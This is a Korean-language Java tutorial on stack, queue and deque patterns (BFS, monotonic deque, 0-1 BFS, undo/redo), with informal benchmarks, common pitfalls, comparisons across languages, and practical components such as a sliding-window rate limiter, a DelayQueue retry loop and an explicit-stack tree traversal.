③ BFS — Deque<int[]> 큐, 넣을 때 방문 표시

static int shortest(char[][] g, int sr, int sc, int tr, int tc) {
    int R = g.length, C = g[0].length;
    int[][] dist = new int[R][C];
    for (int[] row : dist) Arrays.fill(row, -1);
    Deque<int[]> q = new ArrayDeque<>();
    q.offer(new int[]{sr, sc});
    dist[sr][sc] = 0;
    int[][] dirs = {{1,0},{-1,0},{0,1},{0,-1}};
    while (!q.isEmpty()) {
        int[] cur = q.poll();
        for (int[] d : dirs) {
            int r = cur[0] + d[0], c = cur[1] + d[1];
            if (r < 0 || c < 0 || r >= R || c >= C) continue;
            if (g[r][c] == '#' || dist[r][c] != -1) continue;
            dist[r][c] = dist[cur[0]][cur[1]] + 1;   // ★ 넣을 때 표시
            q.offer(new int[]{r, c});
        }
    }
    return dist[tr][tc];
}
// "S..#" / ".#.." / "...T" 에서 S→T = 5
꺼낼 때 방문 표시를 하면 같은 칸이 큐에 여러 번 들어가 큐가 폭발합니다. 답은 맞게 나와서 더 위험합니다. 좌표를 record Pos(int r, int c) 로 담아도 되지만, 수백만 칸이면 int[] 나 r * C + c 정수 하나가 가볍습니다.

④ 슬라이딩 윈도우 최댓값 — 단조 덱 (위 그림)

static int[] windowMax(int[] a, int k) {
    int[] out = new int[a.length - k + 1];
    Deque<Integer> dq = new ArrayDeque<>();       // 인덱스. 값은 앞→뒤 감소
    for (int i = 0; i < a.length; i++) {
        if (!dq.isEmpty() && dq.peekFirst() <= i - k) dq.pollFirst();     // 창 밖
        while (!dq.isEmpty() && a[dq.peekLast()] <= a[i]) dq.pollLast();  // 가망 없음
        dq.offerLast(i);
        if (i >= k - 1) out[i - k + 1] = a[dq.peekFirst()];
    }
    return out;
}
// windowMax({1, 3, -1, -3, 5, 3, 6, 7}, 3) → [3, 3, 5, 5, 6, 7]
// 데이터가 작고 한 번만 볼 거라면 Java 24+ Gatherers 도 됩니다 (O(n·k))
List.of(1, 3, -1, -3, 5).stream()
    .gather(Gatherers.windowSliding(3))
    .map(Collections::max)
    .toList();                       // [3, 3, 5]

⑤ 0-1 BFS — 비용 0 은 앞에, 1 은 뒤에

static int zeroOneBfs(List<List<int[]>> adj, int src, int dst) {
    int[] dist = new int[adj.size()];
    Arrays.fill(dist, Integer.MAX_VALUE);
    dist[src] = 0;
    Deque<Integer> dq = new ArrayDeque<>();
    dq.offerFirst(src);
    while (!dq.isEmpty()) {
        int u = dq.pollFirst();
        for (int[] e : adj.get(u)) {
            int v = e[0], w = e[1];
            if (dist[u] + w < dist[v]) {
                dist[v] = dist[u] + w;
                if (w == 0) dq.offerFirst(v);   // 덱이라서 가능한 한 줄
                else        dq.offerLast(v);
            }
        }
    }
    return dist[dst];
}
// 0→1(1) 0→2(0) 2→1(0) 1→3(1) 2→3(1) 이면 0→3 = 1
간선 비용이 0/1 뿐이면 다익스트라의 PriorityQueue(O(log n)) 대신 덱의 양끝(O(1))으로 같은 답을 냅니다. "벽 부수기 횟수 최소" 같은 격자 문제가 이 모양입니다.

⑥ undo / redo — 스택 두 개

public class Editor {
    interface Command { void apply(StringBuilder d); void revert(StringBuilder d); }
    record Append(String text) implements Command {
        public void apply(StringBuilder d)  { d.append(text); }
        public void revert(StringBuilder d) { d.setLength(d.length() - text.length()); }
    }
    static final int LIMIT = 100;
    final StringBuilder doc = new StringBuilder();
    final Deque<Command> undo = new ArrayDeque<>();
    final Deque<Command> redo = new ArrayDeque<>();

    void exec(Command c) {
        c.apply(doc);
        undo.push(c);
        if (undo.size() > LIMIT) undo.removeLast();  // 가장 오래된 기록(바닥) 버리기
        redo.clear();                                // 새 작업 → redo 갈래 소멸
    }
    void undo() { Command c = undo.poll(); if (c != null) { c.revert(doc); redo.push(c); } }
    void redo() { Command c = redo.poll(); if (c != null) { c.apply(doc);  undo.push(c); } }
}
// exec "Hello", ", ", "World" → undo → "Hello, " → undo → "Hello"
// → redo → "Hello, " → exec "Java" → "Hello, Java" → redo 해도 그대로
Stack 으로는 이 한 줄이 어색합니다 — 바닥을 버리는 removeLast(). 덱이라서 "깊이 제한 있는 스택"이 자연스럽게 됩니다.
패턴타입쓰는 메서드자주 틀리는 곳
괄호 · 수식 · 경로 정규화Deque 스택push · pop · isEmpty끝난 뒤 isEmpty() 검사 빠뜨림
다음 큰/작은 수Deque 스택 (인덱스)peek · pop · push값을 담아 거리 계산 불가
BFS · 레벨 순회Deque 큐offer · poll꺼낼 때 방문 표시
창 최댓값/최솟값Deque 덱 (인덱스)peekFirst/Last · pollFirst/Last< 와 <= 혼동(중복 값)
0-1 BFSDeque 덱offerFirst · offerLast방문 배열을 쓰면 틀림 — dist 비교로
DFS 반복 버전Deque 스택push · pop자식 넣는 순서(SQ 12)
정리 — 여섯 패턴 모두 ArrayDeque 하나로 씁니다. 스택은 인덱스를 담고, BFS 는 넣을 때 방문 표시, 창 문제는 양끝을 씁니다.
SQ 09

성능과 메모리 — 박싱, 노드, 그리고 믿을 수 없는 벤치마크

"ArrayDeque 가 LinkedList 보다 빠르다"는 맞습니다. 그런데 얼마나, 왜인지는 측정해야 압니다. 이 섹션의 수치는 이 PC(12 스레드)·JDK 25·단일 스레드에서 간이 측정한 예시입니다(JMH 아님). 크기보다 순서와 이유를 보세요.

큐 1,000개 유지 · offer+poll 2천만 번 (ms, 짧을수록 좋음 · 예시) 0 225 450 675 900 ms ArrayDeque 93 — 기준 ConcurrentLinkedQueue 495 · CAS + 노드 ArrayBlockingQueue 503 · 락 LinkedList 579 · 노드 할당 PriorityQueue 651 · O(log n) LinkedBlockingQueue 866 스레드가 하나라면 동시성 큐는 그 자체가 비용입니다 — ArrayDeque 의 5~9배
막대 — 단일 스레드 큐는 ArrayDeque 가 압도적입니다. 같은 O(1) 이라도 노드 할당·락·CAS 가 상수를 몇 배로 만듭니다.

측정 코드 — Bench2.java (요지)

// 큐 정상 상태: 1,000개가 든 큐에서 offer 1 + poll 1 을 2천만 번
static final Integer[] VALS = new Integer[1024];
static { for (int i = 0; i < 1024; i++) VALS[i] = 100_000 + i; } // 박싱은 미리

static long time(Queue<Integer> q) {
    long best = Long.MAX_VALUE;
    for (int round = 0; round < 7; round++) {          // 앞 2회는 워밍업
        q.clear();
        for (int i = 0; i < 1000; i++) q.offer(VALS[i & 1023]);
        long t = System.nanoTime(), x = 0;
        for (int i = 0; i < 20_000_000; i++) { q.offer(VALS[i & 1023]); x += q.poll(); }
        long e = System.nanoTime() - t;
        sink += x;                                     // 죽은 코드 제거 방지
        if (round >= 2) best = Math.min(best, e);
    }
    return best / 1_000_000;
}
실무 판단에는 JMH 를 쓰세요. 이런 손 벤치는 JIT 이 루프를 통째로 최적화하거나(탈출 분석), GC 시점이 끼어들어 쉽게 틀립니다. 실제로 아래 스택 측정에서 그런 일이 일어났습니다.

스택 측정에서 일어난 일 — 숫자를 믿지 말아야 할 때

스택 (깊이 1,000 유지)push+pop 2천만 번해석
int[] 직접약 18 ms박싱도 객체도 없음
ArrayList Last약 85 ms참조 배열
ArrayDeque약 100 ms참조 배열 + 원형 인덱스
Stack (지역 변수)약 110~130 msJIT 이 락을 상당 부분 걷어냄
Stack (다른 스레드에 노출)약 200 ms락이 살아남음 — 약 2배
LinkedList약 13 ms (?)push 직후 pop → 노드가 탈출하지 않아 할당 자체가 제거됨. 실제 상황이 아님
LinkedList 가 가장 빠르게 나온 것은 측정 오류에 가깝습니다 — 큐 측정(위 그림)처럼 노드가 오래 살아 있으면 6배 느립니다. "Stack 이 느려서 버린다"가 약한 근거라는 SQ 02 의 말도 이 표에서 나왔습니다.

원소 하나의 무게 — Deque<Integer> 는 int 의 다섯 배 🟡 중급

원소 하나당 바이트 — 칸 폭이 바이트 수에 비례 (64비트 · 압축 참조 기본값) int[] 값 4 4 B ArrayDeque<Integer> 참조 4 Integer 헤더 12 값 4 20 B · 배열 빈 칸은 별도 LinkedList<Integer> Node 헤더 12 item 4 next 4 prev 4 Integer 헤더 12 값 4 40 B 한 칸 = 4바이트 객체 2개(Node + Integer)가 힙 여기저기 흩어져 → 순회마다 캐시 미스 -128~127 은 Integer 캐시를 공유해 객체가 새로 생기지 않습니다
메모리 레이아웃 — int 4바이트를 담으려고 20~40바이트를 씁니다. 박싱과 노드가 비용의 대부분입니다.

원시 타입 스택 — 수백만 개면 직접 만든다

/** int 전용 스택 — 박싱 없음, 원소당 4바이트 */
public final class IntStack {
    private int[] a = new int[16];
    private int size;

    public void push(int v) {
        if (size == a.length) a = java.util.Arrays.copyOf(a, size * 2);
        a[size++] = v;
    }
    public int pop() {
        if (size == 0) throw new java.util.NoSuchElementException();
        return a[--size];
    }
    public int peek() {
        if (size == 0) throw new java.util.NoSuchElementException();
        return a[size - 1];
    }
    public boolean isEmpty() { return size == 0; }
    public int size() { return size; }
}
라이브러리를 쓸 수 있다면 fastutil 의 IntArrayList(스택으로 push/popInt/topInt)·IntArrayFIFOQueue, Eclipse Collections 의 IntArrayStack 이 같은 일을 합니다. Project Valhalla(값 타입)가 정식이 되면 이 문제가 근본적으로 줄어들 예정이지만, Java 25 에는 아직 없습니다.

언제 신경 써야 하나

상황판단
원소 수천 개 · 요청당 한 번Deque<Integer> 그대로. 차이가 측정되지 않습니다
BFS 로 격자 수백만 칸int 하나로 좌표 인코딩(r * C + c) + int[] 큐 고려
장수하는 큐 (캐시 · 버퍼)객체 수가 GC 시간에 직결 — 원시 컬렉션 검토
LinkedList 를 쓰고 있다이유 불문 ArrayDeque 로. 노드 24바이트 + 캐시 미스
원소 수를 미리 안다new ArrayDeque<>(n) — grow 복사 0번
LinkedList 가 지는 이유는 복잡도가 아니라 상수입니다. 원소마다 new Node(할당 + 나중에 GC), 노드가 힙에 흩어져 다음 원소를 읽을 때마다 캐시 미스. ArrayDeque 는 참조가 배열에 연속으로 놓여 CPU 가 미리 읽어 둡니다.
정리 — 단일 스레드 큐는 ArrayDeque 가 5~9배 빠르고, Deque<Integer> 는 원소당 20바이트입니다. 수백만 개가 아니면 박싱은 신경 쓰지 말고, 벤치는 JMH 로.
SQ 10

흔한 실수 모음 — 컴파일은 되는데 틀리는 여덟 가지

스택·큐 버그는 대부분 예외 없이 조용히 틀립니다. 아래는 코드 리뷰에서 실제로 자주 보는 것들이고, 출력은 모두 JDK 25 에서 직접 돌린 결과입니다. 특히 ③ 과 ④ 는 경력자도 처음 보면 놀랍니다.

"비었나 보고 꺼내기" — 두 호출 사이의 틈으로 다른 스레드가 들어옵니다 (시간 →) 스레드 A 스레드 B 큐 상태 ① isEmpty() → false ② isEmpty() → false ③ pop() → 성공 ④ pop() → 예외! 원소 1개 0개 메서드마다 synchronized 여도 ① 과 ④ 사이는 아무도 지켜 주지 않습니다 해법은 "확인과 꺼내기를 한 번에" — poll() 의 null 또는 take()
스윔레인 — Stack 의 synchronized 는 이 버그를 막지 못합니다. 동시성 큐의 poll() 은 확인과 꺼내기가 한 동작입니다.
① check-then-act
Stack<Job> jobs = new Stack<>();     // "synchronized 니까 안전하겠지"
// 여러 스레드에서
if (!jobs.empty()) {
    Job j = jobs.pop();   // EmptyStackException — 그 사이 누가 가져감
}
한 동작으로 확인 + 꺼내기
Deque<Job> jobs = new ConcurrentLinkedDeque<>();
Job j = jobs.pollFirst();          // 비었으면 null — 원자적
if (j != null) handle(j);

// 기다려야 한다면
BlockingDeque<Job> q = new LinkedBlockingDeque<>(1000);
Job k = q.takeFirst();
② null 을 "값 없음"으로 넣기
Deque<String> st = new ArrayDeque<>();
st.push(map.get("missing"));   // NullPointerException
// LinkedList 로 바꾸면 '돌긴' 하지만
// poll() 의 null 이 '값'인지 '비었음'인지 모르게 된다
센티널 · Optional
static final String NONE = "";             // 또는 전용 레코드
st.push(Objects.requireNonNullElse(map.get("missing"), NONE));

Deque<Optional<String>> st2 = new ArrayDeque<>();
st2.push(Optional.ofNullable(map.get("missing")));

③ 순회 중 수정 — ArrayDeque 는 늘 CME 를 던지지 않는다

Deque<Integer> q3 = new ArrayDeque<>(List.of(1, 2, 3, 4, 5, 6));
for (int x : q3) if (x == 2) q3.addLast(99);
// ConcurrentModificationException  ← 이건 잡힌다

Deque<Integer> q4 = new ArrayDeque<>(List.of(1, 2, 3, 4, 5, 6));
for (int x : q4) if (x == 2) q4.pollFirst();
System.out.println(q4);   // [2, 3, 4, 5, 6]  ← 예외 없이 그냥 지나감!

// 올바른 방법
Deque<Integer> q2 = new ArrayDeque<>(List.of(1, 2, 3, 4));
q2.removeIf(x -> x % 2 == 0);
System.out.println(q2);   // [1, 3]
// 또는 Iterator 를 직접 쓰고 it.remove()
ArrayList 는 modCount 로 수정을 감지하지만, ArrayDeque 의 반복자는 남은 개수와 배열 칸만 보고 판단합니다(JDK 25 소스). Javadoc 도 CME 는 "최선을 다할 뿐(best-effort)"이라고 적어 둡니다. 예외가 안 났다고 안전한 게 아닙니다.

④ Deque<Integer>.remove(1) 은 '값 1' 을 지운다

Deque<Integer> d = new ArrayDeque<>(List.of(5, 9, 7));
List<Integer>  l = new ArrayList<>(List.of(5, 9, 7));

System.out.println(d.remove(1) + " " + l.remove(1));  // false 9
System.out.println(d + " " + l);                      // [5, 9, 7] [5, 7]
// Deque 에는 remove(int index) 가 없다 → 1 이 Integer 로 박싱되어 remove(Object)
// List 는 remove(int index) 가 더 구체적이라 그쪽이 선택된다

d.remove(Integer.valueOf(9));   // 값으로 지우려면 의도를 드러내기
d.removeFirstOccurrence(9);     // 덱에서는 이 이름이 더 분명하다
List<Integer> 를 Deque<Integer> 로 바꾸는 리팩터링에서 컴파일 오류 없이 의미가 바뀌는 대표 사례입니다.

⑤ ArrayDeque 는 equals 를 재정의하지 않는다

var a = new ArrayDeque<>(List.of(1, 2));
var b = new ArrayDeque<>(List.of(1, 2));
System.out.println(a.equals(b));                             // false (동일성 비교)
System.out.println(List.copyOf(a).equals(List.copyOf(b)));   // true

// 테스트에서 assertEquals(expectedDeque, actualDeque) 가 늘 실패하는 이유
assertEquals(List.of(1, 2), List.copyOf(actual));            // 이렇게 비교
// PriorityQueue · ConcurrentLinkedQueue · BlockingQueue 들도 마찬가지

⑥ 꺼낸 Integer 를 == 로 비교

Deque<Integer> st = new ArrayDeque<>();
st.push(1000); st.push(1000);
System.out.println(st.peekFirst() == st.peekLast());       // false
System.out.println(st.peekFirst().equals(st.peekLast()));  // true
// -128~127 은 캐시라서 == 도 true → 테스트(작은 값)는 통과, 운영(큰 값)에서 터진다

// 괄호 검사(SQ 08)처럼 char 변수로 받으면 언박싱되어 == 가 안전합니다
//   char open = brackets.pop();   (Deque<Character> brackets)
⑦ 동시성 큐를 바쁜 대기로 돌리기
Queue<Job> q = new ConcurrentLinkedQueue<>();
while (running) {
    Job j = q.poll();
    if (j == null) continue;      // CPU 한 코어를 100% 태운다
    handle(j);
}
if (q.size() > 1000) alert();     // size() 는 O(n) — 전부 센다
기다릴 일이면 BlockingQueue
BlockingQueue<Job> q = new LinkedBlockingQueue<>(10_000);
while (running) {
    Job j = q.poll(1, TimeUnit.SECONDS);  // 최대 1초 잠들기 — running 재확인 기회
    if (j != null) handle(j);
}
if (q.size() > 1000) alert();             // 카운터를 유지하므로 O(1)
⑧ 한 덱에 스택 어휘와 큐 어휘를 섞기
Deque<String> d = new ArrayDeque<>();
d.push("a");      // 앞에 넣기
d.offer("b");     // 뒤에 넣기
d.push("c");
System.out.println(d.pop() + d.pop() + d.pop()); // cab — 스택도 큐도 아닌 순서
용도에 맞는 타입으로 선언
Deque<String> stack = new ArrayDeque<>();   // push/pop/peek 만
Queue<String> queue = new ArrayDeque<>();    // offer/poll/peek 만 보인다
// 양끝을 정말 써야 할 때만 Deque 에서 First/Last 를 명시적으로
실수증상고치는 법
Stack + if (!empty()) pop()가끔 EmptyStackException동시성 큐의 poll()·take()
null 원소NPE 또는 "비었음"과 혼동센티널 · Optional
for-each 중 수정CME 또는 조용히 틀림removeIf · Iterator.remove
remove(1) on Deque<Integer>값 1 이 지워짐removeFirstOccurrence · Integer.valueOf
dequeA.equals(dequeB)늘 falseList.copyOf 로 바꿔 비교
PriorityQueue 출력·순회정렬 안 된 순서 (SQ 05)stream().sorted() 또는 poll
무한 LinkedBlockingQueue()밀리면 OOM · max 스레드 무의미용량 지정 (SQ 06)
깊은 재귀로 트리 순회StackOverflowError명시적 스택 (SQ 12)
정리 — 스택·큐 버그는 예외 없이 틀리는 것이 대부분입니다. 확인과 꺼내기는 한 동작으로, 순회 중엔 removeIf, 비교는 List 로 바꿔서.
SQ 11

다른 언어와 비교 — 같은 일을 무엇으로 하나

자바 개발자가 다른 언어로 넘어갈 때 가장 헷갈리는 것은 이름은 같은데 운명이 다른 타입입니다. 자바의 Stack 은 버려졌지만 C# 의 Stack<T> 는 지금도 정답이고, 자바의 PriorityQueue 는 최소 힙이지만 C++ 과 Rust 는 최대 힙이 기본입니다.

언어스택큐 · 덱우선순위 큐 (기본 방향)스레드 간 큐비동기 채널
Java 25ArrayDeque push/popArrayDequePriorityQueue (최소)ArrayBlockingQueueSubmissionPublisher · Reactor Sinks
KotlinArrayDeque · MutableList addLast/removeLastkotlin.collections.ArrayDequejava.util.PriorityQueue (최소)java.util.concurrent 그대로코루틴 Channel · Flow
Pythonlist append/popcollections.dequeheapq (최소, 함수형)queue.Queueasyncio.Queue
JS / TSArray push/pop표준 없음 (shift() 는 O(n)) — 직접 구현표준 없음— (워커 간 메시지)이벤트 루프 · Streams
C#Stack<T> (권장!)Queue<T> (덱은 없음)PriorityQueue<TElement,TPriority> (최소)BlockingCollection · ConcurrentQueueSystem.Threading.Channels
C++std::stack (기본 deque 위)std::queue · std::dequestd::priority_queue (최대)표준 없음 (직접 · 라이브러리)—
RustVec push/popVecDequeBinaryHeap (최대)std::sync::mpsctokio::sync::mpsc
Go슬라이스 append슬라이스 · container/listcontainer/heap (인터페이스 구현)버퍼 있는 채널채널 (같은 것)

자바 → 다른 언어로 갈 때 틀리는 것

자바 습관다른 언어에서
"Stack 은 레거시"C# Stack<T>, C++ std::stack 은 지금도 표준 답
PriorityQueue = 최소 힙C++·Rust 는 최대 힙. 최소가 필요하면 greater<> · Reverse
poll() 이 nullPython deque.popleft() 는 IndexError, Rust 는 Option, C# 은 TryDequeue
스택·큐가 같은 클래스C# 은 Stack/Queue 가 따로, 덱은 표준에 없음
BlockingQueue 로 스레드 간 전달Go 는 채널이 언어 문법, Kotlin·Rust 는 채널을 주로 씀

같은 문제, 여섯 줄 — "최근 3개만 보관"

// Java — 직접 크기 검사 (표준 링 버퍼 없음)
Deque<String> last = new ArrayDeque<>();
void add(String s) { if (last.size() == 3) last.pollFirst(); last.addLast(s); }
# Python — maxlen 이 알아서 버린다
from collections import deque
last = deque(maxlen=3)
// C# — Queue 로 직접
var last = new Queue<string>();
void Add(string s) { if (last.Count == 3) last.Dequeue(); last.Enqueue(s); }
파이썬 deque(maxlen=) 같은 "크기 고정 덱"이 자바 표준에는 없습니다. SQ 12 의 몇 줄짜리 클래스가 그 자리를 채웁니다. (Apache Commons CircularFifoQueue, Guava EvictingQueue 가 같은 일을 하는 라이브러리 구현입니다.)
표준 라이브러리만으로 — 진한 칸은 "있음", 흐린 칸은 "없음 · 직접 구현" 표준 덱 우선순위 큐 블로킹 큐 크기 고정 덱 빈 큐에서 꺼내기 Java 25 ArrayDeque 있음 · 최소 있음 없음 poll → null Kotlin ArrayDeque JDK 것 · 최소 JDK 것 · Channel 없음 예외 · OrNull Python deque heapq · 최소 queue.Queue deque(maxlen) IndexError JS / TS 없음 없음 해당 없음 없음 undefined C# 없음 있음 · 최소 있음 없음 예외 · TryDequeue C++ std::deque 있음 · 최대 없음 없음 미정의 동작 Rust VecDeque 있음 · 최대 mpsc 채널 없음 Option (None) 자바는 "다 있는 편"이지만 크기 고정 덱만은 파이썬에 밀립니다 빈 큐에서 꺼낼 때의 결과가 언어마다 다 다릅니다 — 옮겨 쓸 때 가장 먼저 확인하세요
매트릭스 — 자바 행만 보면 크기 고정 덱 하나가 빈칸입니다. 빈 큐 처리 방식은 언어마다 다 다릅니다.

옮겨 쓰기 — 자바 PriorityQueue 코드를 다른 언어로 🟡 중급

// Java — 최대 힙이 필요하면 비교자를 뒤집는다
var maxHeap = new PriorityQueue<Integer>(Comparator.reverseOrder());
maxHeap.addAll(List.of(5, 1, 4));
maxHeap.poll();   // 5
# Python — heapq 는 최소 힙뿐. 최대 힙은 부호를 뒤집는 관용구
import heapq
h = []
for x in (5, 1, 4):
    heapq.heappush(h, -x)
-heapq.heappop(h)   # 5
// C++ — 기본이 최대 힙. 자바처럼 최소 힙을 원하면 greater
std::priority_queue<int> maxq;                                         // 최대
std::priority_queue<int, std::vector<int>, std::greater<int>> minq; // 최소
// Rust — BinaryHeap 도 최대 힙. 최소 힙은 Reverse 로 감싼다
use std::cmp::Reverse;
use std::collections::BinaryHeap;
let mut minq = BinaryHeap::new();
minq.push(Reverse(5)); minq.push(Reverse(1));
assert_eq!(minq.pop(), Some(Reverse(1)));
다익스트라를 옮길 때 가장 흔한 버그가 이 방향 차이입니다. 자바 코드를 C++ 로 그대로 옮기면 가장 먼 노드부터 꺼내면서도 답은 (느리게) 맞게 나와 발견이 늦습니다.
정리 — 자바의 특이점은 스택과 큐가 한 클래스(ArrayDeque), PriorityQueue 가 최소 힙, 크기 고정 덱이 표준에 없음 세 가지입니다.
SQ 12

실무 사례 — 최근 N개 · 레이트 리미터 · 재시도 · 깊은 재귀

실무 코드에서 스택·큐는 "자료구조 문제"가 아니라 작은 부품으로 나옵니다. 여섯 가지 자주 쓰는 모양을, 각각 어떤 타입을 왜 고르는지와 함께 돌아가는 코드로 정리합니다. 모든 출력은 실제 실행값입니다.

① 최근 N개 보관 — 크기 고정 덱

import java.util.*;

/** 최근 N개 — 넘치면 가장 오래된 것을 버린다. 스레드 안전 */
final class Recent<T> {
    private final int cap;
    private final ArrayDeque<T> buf;

    Recent(int cap) { this.cap = cap; this.buf = new ArrayDeque<>(cap); }

    synchronized void add(T t) {
        if (buf.size() == cap) buf.pollFirst();   // 가장 오래된 것 버리기
        buf.addLast(t);
    }
    synchronized List<T> newestFirst() {
        return List.copyOf(buf.reversed());      // Java 21 — 복사해서 내보내기
    }
}

// var r = new Recent<String>(3);
// for (String s : List.of("a", "b", "c", "d", "e")) r.add(s);
// r.newestFirst() → [e, d, c]
내부 덱을 그대로 반환하지 마세요. 받은 쪽이 순회하는 동안 다른 스레드가 add 하면 SQ 10 ③ 이 일어납니다. List.copyOf 로 스냅숏을 넘기면 락 밖에서 안전하게 읽힙니다. 최근 에러 100건, 최근 요청 지연 1,000개(백분위 계산용)에 그대로 씁니다.

② 이벤트 버퍼 — offer 로 받고 drainTo 로 묶어 쓰기

BlockingQueue<Event> buf = new ArrayBlockingQueue<>(10_000);
LongAdder dropped = new LongAdder();

// 요청 스레드 — 절대 막지 않는다
void onEvent(Event e) {
    if (!buf.offer(e)) dropped.increment();   // 꽉 차면 버리고 센다(지표로 노출)
}

// 배치 쓰기 — 가상 스레드 하나
void writerLoop() throws InterruptedException {
    List<Event> batch = new ArrayList<>(500);
    while (running) {
        Event first = buf.poll(1, TimeUnit.SECONDS);   // 최대 1초 대기
        if (first == null) continue;
        batch.add(first);
        buf.drainTo(batch, 499);       // 지금 있는 만큼 한 번에(락 한 번)
        repository.saveAll(batch);     // INSERT 500건을 한 번에
        batch.clear();
    }
}
offer + 버림 카운터는 "로그·지표처럼 잃어도 되는 것"에, put(대기) 은 "주문처럼 잃으면 안 되는 것"에 씁니다. drainTo 는 원소를 하나씩 poll 하는 것보다 락을 덜 잡습니다.

③ 슬라이딩 윈도우 레이트 리미터 — 타임스탬프 덱 🟡 중급

1초에 3건 — 덱에는 "통과한 요청의 시각"만 남습니다 (O 통과 · X 거절) t=900 의 창: 0 · 100 · 200 → 이미 3건 → 거절 O O O X X O O O 0 100 200 300 900 1050 1150 1250 ms t=1050 의 창 (50, 1050]: 0 이 빠지고 100 · 200 두 건 → 통과 앞(pollFirst)에서 창 밖 기록을 버리고, 남은 개수로 판정한 뒤, 뒤(addLast)에 넣습니다 결과 OOOXXOOO — 실행 결과와 같습니다
타임라인 — 덱의 앞은 가장 오래된 기록, 뒤는 가장 최근입니다. 그래서 양끝만 쓰는 ArrayDeque 가 딱 맞습니다.
import java.util.*;
import java.util.concurrent.*;

final class SlidingWindowLimiter {
    private final int limit;
    private final long windowNanos;
    private final ArrayDeque<Long> hits = new ArrayDeque<>();

    SlidingWindowLimiter(int limit, long windowMillis) {
        this.limit = limit;
        this.windowNanos = windowMillis * 1_000_000;
    }

    synchronized boolean tryAcquire(long now) {        // now = System.nanoTime()
        while (!hits.isEmpty() && now - hits.peekFirst() >= windowNanos)
            hits.pollFirst();                          // 창 밖 기록 제거
        if (hits.size() >= limit) return false;        // 거절 — 기록하지 않음
        hits.addLast(now);
        return true;
    }
}

// 키(사용자·IP)별로
final ConcurrentHashMap<String, SlidingWindowLimiter> limiters = new ConcurrentHashMap<>();
boolean allow(String key) {
    return limiters.computeIfAbsent(key, k -> new SlidingWindowLimiter(3, 1000))
                   .tryAcquire(System.nanoTime());
}
// 0,100,200,300,900,1050,1150,1250ms 에 호출 → OOOXXOOO

이 구현의 한계와 대안

방식메모리 (키당)정확도
타임스탬프 덱 (위)최대 limit 개 (박싱된 Long)정확
고정 창 카운터숫자 2개창 경계에서 최대 2배 통과
토큰 버킷숫자 2개버스트 허용량을 따로 조절
limit 이 크면(예: 분당 10,000건) 덱이 무거워집니다. 키 수 × limit 개의 Long 이 쌓이기 때문입니다. 그때는 숫자 몇 개로 판정하는 방식(Bucket4j 의 토큰 버킷, Resilience4j RateLimiter)으로 바꾸세요. 덱 방식은 limit 이 작고 정확해야 할 때(로그인 시도 5회/분) 맞습니다.
시각은 System.nanoTime() 을 씁니다. currentTimeMillis() 는 NTP 보정으로 뒤로 갈 수 있어 창 계산이 깨집니다. 서버가 여러 대면 이 리미터는 서버별입니다 — 전체 한도는 Redis 같은 외부 저장소가 필요합니다.

④ 재시도 큐 — DelayQueue 와 지수 백오프 🟡 중급

실패할 때마다 한 바퀴 — 바퀴가 돌수록 대기가 2배씩 길어집니다 실행 job.run() 지연 계산 2^n × 100ms DelayQueue put(readyAt) take() 시각이 되면 실패 재시도 1회 = 한 바퀴 성공 → 순환 밖으로 (끝) n > 최대 횟수 → 실패 보관함 DelayQueue 는 시각이 안 된 원소를 꺼내 주지 않습니다 — sleep 루프가 필요 없습니다
순환 — 재시도는 실행 → 지연 → 대기 → 실행의 반복이고, 빠져나가는 길은 성공과 횟수 초과 둘뿐입니다.
import java.util.concurrent.*;

record Retry(String job, int attempt, long readyAt) implements Delayed {
    public long getDelay(TimeUnit u) {
        return u.convert(readyAt - System.nanoTime(), TimeUnit.NANOSECONDS);
    }
    public int compareTo(Delayed o) {
        return Long.compare(readyAt, ((Retry) o).readyAt);
    }
    static Retry after(String job, int attempt, long millis) {
        return new Retry(job, attempt, System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(millis));
    }
    static long backoffMillis(int attempt) {          // 100, 200, 400, 800 ... 최대 30초
        return Math.min(30_000, 100L << Math.min(attempt, 20));
    }
}

var dq = new DelayQueue<Retry>();
dq.put(Retry.after("메일", 2, 200));
dq.put(Retry.after("결제", 1, 50));
System.out.println(dq.poll());          // null — 아직 시각이 안 됨
System.out.println(dq.take().job());    // 결제 (약 50ms 뒤)
System.out.println(dq.take().job());    // 메일 (약 200ms 뒤)
선택지언제
DelayQueue + 워커재시도 대상이 큐 형태로 모일 때, 꺼내는 쪽을 직접 제어할 때
ScheduledExecutorService.schedule작업 하나하나를 "n 초 뒤에 실행"으로 던질 때 — 내부도 지연 힙 큐
Spring Retry · Resilience4j Retry메서드 호출 단위 재시도. 대기 중 스레드를 붙잡는지 확인
메시지 브로커의 지연 큐 · DLQ재시작해도 재시도가 살아남아야 할 때 (메모리 큐는 사라짐)
DelayQueue 는 메모리 안에만 있습니다. 프로세스가 죽으면 기다리던 재시도가 모두 사라집니다. 결제처럼 잃으면 안 되는 재시도는 DB 테이블(다음 실행 시각 컬럼)이나 브로커에 두고, DelayQueue 는 "잃어도 다시 생기는" 일에 쓰세요. 백오프에 무작위 흔들림(jitter)을 더하면 여러 인스턴스가 동시에 재시도하는 몰림을 막을 수 있습니다.

⑤ 재귀를 명시적 스택으로 — StackOverflowError 피하기 🔴 고급

import java.util.*;

public class Deep {
    static final class Node {
        final int val; final List<Node> children = new ArrayList<>();
        Node(int v) { val = v; }
    }

    static long sumRec(Node n) {               // 깊이만큼 호출 프레임이 쌓인다
        long s = n.val;
        for (Node c : n.children) s += sumRec(c);
        return s;
    }

    static long sumIter(Node root) {           // 프레임 대신 힙의 덱에 쌓는다
        long s = 0;
        Deque<Node> st = new ArrayDeque<>();
        st.push(root);
        while (!st.isEmpty()) {
            Node n = st.pop();
            s += n.val;
            for (Node c : n.children.reversed()) st.push(c);  // 거꾸로 넣어야 왼쪽부터
        }
        return s;
    }

    public static void main(String[] args) {
        Node root = new Node(1), cur = root;      // 깊이 1,000,000 짜리 한 줄 트리
        for (int i = 2; i <= 1_000_000; i++) { Node n = new Node(1); cur.children.add(n); cur = n; }

        try { System.out.println(sumRec(root)); }
        catch (StackOverflowError e) { System.out.println("재귀: StackOverflowError"); }
        System.out.println("반복: " + sumIter(root));
    }
}
// 재귀: StackOverflowError
// 반복: 1000000

언제 바꾸나 · 무엇을 조심하나

상황판단
균형 트리 · 깊이 수십재귀 그대로. 읽기 쉬운 쪽이 이깁니다
사용자가 만든 트리 (조직도 · 댓글 · JSON)명시적 스택. 깊이를 내가 정할 수 없습니다
그래프 DFS · 연결 리스트 모양명시적 스택 — 깊이 = 노드 수가 될 수 있음
-Xss 로 스택 늘리기임시방편. 스레드마다 늘어나고, 입력이 더 커지면 또 터짐
